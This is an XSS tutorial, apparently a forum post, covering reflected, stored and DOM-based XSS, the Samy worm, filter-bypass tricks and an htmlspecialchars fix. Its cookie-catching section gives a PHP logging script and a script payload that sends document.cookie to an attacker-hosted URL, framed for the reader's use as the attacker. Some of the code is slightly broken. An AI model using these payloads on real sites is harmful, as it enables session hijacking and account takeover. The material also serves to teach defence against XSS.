This handbook was originally written by Taku.
What is XSS?
XSS, also known as cross-site scripting is a web vulnerability. It's caused when the user input
is not sanitized correctly, and is therefore executed.
Let's say there's a search box on a website. If you search for the word "cat" and press enter you'll
probably come to a second page where it says something like "500 results for the word 'cat'".
This means that the websites HTML is looking something like this.
Quote
<h1>500 results for the word 'cat'.</h1>Now, let's say this website was vulnerable to XSS and you changed your input from cat to HTML code, it's
not sanitized correctly and is executed. Let's say you search for this instead: <script>alert('XSS')</script>.
Now the HTML code would look like this instead.
Quote
<h1>500 results for the word '<script>alert('XSS')</script>'</h1>What the website will do is it will think that the user input is actually a part of the website, and it'll execute the Javascript code resulting in a
popup saying "XSS".
There's been a number of interesting uses of XSS over the years. One of the most recognized uses
was by a guy called Samy Kamkar. He successfully executed Javascript on his MySpace profile.
What he did was creating a Javascript worm, so as fast as anyone would visit Samy's MySpace profile, the
Javascript payload would run, adding the Payload to their own profile and change their bio to "But most of all, Samy is my hero".
In fact, I read just a while ago on the forum that the chatbox on Alphas.sx was vulnerable to XSS.
Luckily, for us the attacker - was a skid. He didn't put a dangerous payload on it. He could of done a lot worse stuff than he actually did,
like stealing cookies of users or making them; just like Samy did, changing their profiles.
XSS can be very harmful if it's used correctly.
Different attack methods
In XSS there's a number of different attack methods. I'll go over some of the most common ones with you.
- Non-Persistent XSS
This is the most common one of all XSS attack methods.
It's the vulnerabilties that are not stored on the website, but is parsed in for example a URL.
This include website searches and is usually found in forms that are never stored, the same thing I explained before.
For someone to exploit the vulnerable on an another user, he'd have to craft a link and send it to the target.
Let's imagine the search XSS I talked about earlier. The URL might look something like this:
Quote
http://www.website.com/search.php?q=search+hereThe search+here would be replaced with the XSS payload.
- Persistent XSS
This one is actually the rarest type of XSS. This is found in comments, bio's, chat logs, etc - the ones where the text is stored on the website unless it's removed
by someone like an administrator.
The XSS found on the forum was persistent, as fast as anyone would visit the chatbox the payload would be executed.
- DOM-Based XSS
This attack method is basically useless. There's no way you can attack a user this way unless you trick them to enter your Javascript payload
in the vulnerable form/URL.
This vulnerability is similar to Non-Persistent XSS, but there's no URL crafted, so there's no way for you to make the victim
run the payload. The DOM-based XSS results in you just modifying the DOM enviornment in the victims browser.
Cookie Catching
Cookies are small files which are stored on a user's computer. They are usually seen as strings and are ran in the users browser.
This allows the server of a website to deliver a page tailored to a particular user.
For example, if you were to log into Facebook and make sure the "Remember me" button is checked a unique cookie file is stored on your computer.
Next time you visit Facebook, it's going to look for the cookie - and if you have it, it's automatically going to log you in.
If you can steal these cookies with, let's say a XSS vulnerability in Facebook, you can use those cookies in your own session to authorize as someone else. (Which the skid in the chatbox could of done, but didn't)
To start stealing cookies you have to set up your own websites with a PHP script.
I prefer using http://3owl.com or http://000webhost.com/. Once you've created an account you can log in and go to your file manager.
Here you're going to create a file, name it whatever you want - I'll go with cookie.php.
The file is going to contain this PHP code:
Quote
<?phpOnce you've created it you'll have your URL with the PHP script on. It'll look something like this:
$cookie = $HTTP_GET_VARS[" c"];
$file = fopen('cookielog.txt', 'w');
fwrite($file, $cookie . "\n\n");
echo " <script>location.href='http://www.google.com';</script>";
?>
Quote
http://www.website.3owl.com/cookie.phpNow, go to the vulnerable website and enter this XSS payload:
Quote
<script>document.location= "http://www.website.3owl..com/cookie.php?c=" + document.cookie; </script>What this will do is to redirect the site to your cookie logging script, and add the cookie after the "c=", and store the string in a textfile called cookielog.txt.
You can later go to your file manager and see if you've got any cookies.
To use someone's cookie you can use any cookie editor, like Advanced Cookie Manage which you can install as an addon through your browser.
Bypass Techniques
Most admins will put different filters trying to avoid XSS. Some of these methods are:
- magic_quotes_gpc=ON
- HEX encoding
- Obfuscation
magic_quotes_gpc=ON bypass
This is a very well known filter, and is also used to prevent SQLi and other vulnerabilities.
What it does is after every single quote (') and double quote (") it's escaped with a backslash.
The way you bypass this is by using the Javascript function String.fromCharCode().
Just convert your payload into decimals by using a tool like this http://www.asciizeichen.de/tabelle.html
HEX encoding bypass
This kind of explains itself, you simply encode your XSS payload into HEX.
For example, the XSS payload:
<script>alert(1)</script> would look like this %3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
You can use websites like http://www.swingnote.com/tools/texttohex.php for this.
Obfuscation
This filter is the worst filter against XSS if it's not used correctly, and there's an extremely easy way of bypassing it.
What this filter does is it has different words like "script" and "alert" on a blacklist of words, so whenever someone tries to write them they're censored.
If the administrator is stupid you can easily bypass this by writing the payload like this:
Quote
<sCrIpT>aLerT(1)</sCriPt>EXTRA METHOD
Sometimes you have to be a bit creative with your payloads and have a look at the source code.
You might have to write your payloads like this:
Quote
"><script>alert(1);</script>or
Quote
</p><script>alert(1);</script>There's endless of possibilities to this method.
How to fix XSS vulnerabilities
Obviously because we're in the "Security" section we have to learn how to secure your website against XSS threats.
There's a number of ways to fix XSS vulnerabilities, but I'm going to name the most common one.
Let's imagine that there's a search box on your website that's vulnerable to XSS.
You go into the PHP code of the search box and have a closer look.
If it's storing the user input in a variable like 'search' you have to add a secure function to it, to make it sanitized.
Let's imagine the result page's PHP code is:
Quote
<?phpInstead of having it posting the user-input directly, we have to sanitize it first.
echo ($_GET['search']);
?>
We can do this by changing the PHP code to
Quote
<?phpWhen you search for something It's going to show the same way, but the user-input is now sanitized and not taken literally.
echo htmlspecialchars($_GET['search']);
?>
XSS defense as a user
A good defense against XSS as a user is by using addons like noscript. What this addon does it not allowing
Javascript to be run on a website unless you allow it. So if someone sends you a link with a Javascript payload on
it wont execute unless you allow it to and it's trusted.
Last words
Taku has written this handbook with many efforts. Show him some love :)
Bye!
No comments :
Post a Comment